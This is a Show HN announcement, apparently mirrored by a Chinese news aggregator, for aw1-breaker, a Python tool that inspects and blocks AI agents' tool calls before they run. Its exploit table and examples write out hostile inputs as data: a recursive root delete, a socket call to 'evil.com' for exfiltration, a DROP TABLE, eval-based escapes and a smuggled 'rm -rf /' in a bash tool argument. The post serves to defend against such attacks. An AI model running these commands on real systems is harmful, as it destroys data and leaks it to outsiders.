返回资讯中心
外部精选
软件工程
#开发者实时流

Show HN: Aw-1 – Deterministic AST circuit breaker and kernel jail for AI agents

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.

Hacker News 最新MvikVela2026/10/22 · 24 天前14 分钟阅读

以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.

aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.

Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:

Test the circuit breaker live in your terminal without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

📦 Installation

pip install --upgrade aw1-circuit-breaker

(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).

Drop enterprise boundary policies directly onto agent tools using the @guard.protect or universal @guard adapter:

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard( allowed_tools=["safe_query", "fetch_market_data"], max_velocity_per_min=60, max_financial_limit=250.0, readonly_sql=True )

@guard.protect(tool_name="safe_query") def execute_database_query(query: str): return db.execute(query)

Benign queries execute instantly (< 0.2ms)

execute_database_query("SELECT id FROM users LIMIT 1;")

Adversarial AST injections & SQL drops are halted deterministically:

-> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"

Universal Function & Async Gating

from aw1 import guard

@guard async def run_agent_tool(tool_payload: dict) -> dict: return {"status": "ok"}

🔌 Model Context Protocol (MCP) Server

Run directly with Python:

uvx aw1-circuit-breaker

MCP Client Configuration

Add to your Claude Desktop or Cursor configuration:

{ "mcpServers": { "aw1-circuit-breaker": { "command": "uvx", "args": ["aw1-circuit-breaker"] } } }

⚔️ Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Attack Vector Attacker Strategy LLM Guardrail Result AW-1 AST Circuit Breaker

Dynamic Execution eval(compile(...)) Evades semantic filters 🛑 Tripped (RESTRICTED_INVOCATION)

Shell Escapes subprocess.Popen(['bash', ...]) Masked as system task 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)

Lateral Exfiltration socket.connect(('evil.com', 443)) Disguised as HTTP fetch 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)

SQL Destruction DROP TABLE users; Prompt jailbreak bypass 🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN)

Dunder Introspection ().class.subclasses() Bypasses keyword filters 🛑 Tripped (FAIL_CLOSED_REFLECTION_BREACH)

Run the Showcase

python examples/enterprise_guard_demo.py

⏱️ Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

python benchmark.py

🧩 Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

Guard autonomous agent tool dispatches

try: execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"}) except CircuitBreakerException as blocked: print(f"Tool call halted: {blocked}")

🌐 Cloud REST API Gateway & Production Quotas

The AW-1 Circuit Breaker provides a production-grade HTTP interception gateway for microservices, browser frontends, and autonomous agent platforms.

{ "actor_id": "agent-alpha-01", "tool_name": "sql_query", "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;" }

Response Schema

  1. Permitted Execution (Token Minted)

{ "status": "PERMITTED", "verdict": "PASS", "permitted": true, "actor_id": "agent-alpha-01", "tool_name": "sql_query", "token": "aw1_sec_dev_dummy_key_000000000000", "reason": "Policy evaluation completed: execution safe", "latency_ms": 0.762, "circuit_breaker": "AW-1 Sovereign Execution Arbitrator" }

  1. Threat Contained (Fail-Closed)

{ "status": "HALT_AND_CONTAIN", "verdict": "FAIL_CLOSED", "permitted": false, "actor_id": "agent-alpha-01", "tool_name": "bash", "token": null, "reason": "AST Circuit Breaker containment triggered", "latency_ms": 0.201, "circuit_breaker": "AW-1 Sovereign Execution Arbitrator" }

Production Quotas & Pricing

Plan Pricing (USD / BWP) Quota & Features Access / Checkout

Developer Sandbox Free 10,000 requests, HMAC token minting Code HOL-BREAKER-2026

Developer Pro $49 / BWP 650 /mo 100,000 audit requests, 1 license key, offline HMAC validation Upgrade to Pro

Team / Startup $199 / BWP 2,650 /mo 1,000,000 audit requests, 5 seat keys, Redis state sync Upgrade to Team

Enterprise Dedicated $990 / BWP 13,200 /mo Unlimited seats, dedicated gateway tenant, custom statutory lenses Enterprise Desk

To activate enterprise quotas, pass your signed bearer token in the Authorization header:

curl -X POST https://p20.laveto.net/wisdom/api/v1/intercept
-H "Authorization: Bearer AW1-EXEC-TOKEN-..."
-H "Content-Type: application/json"
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →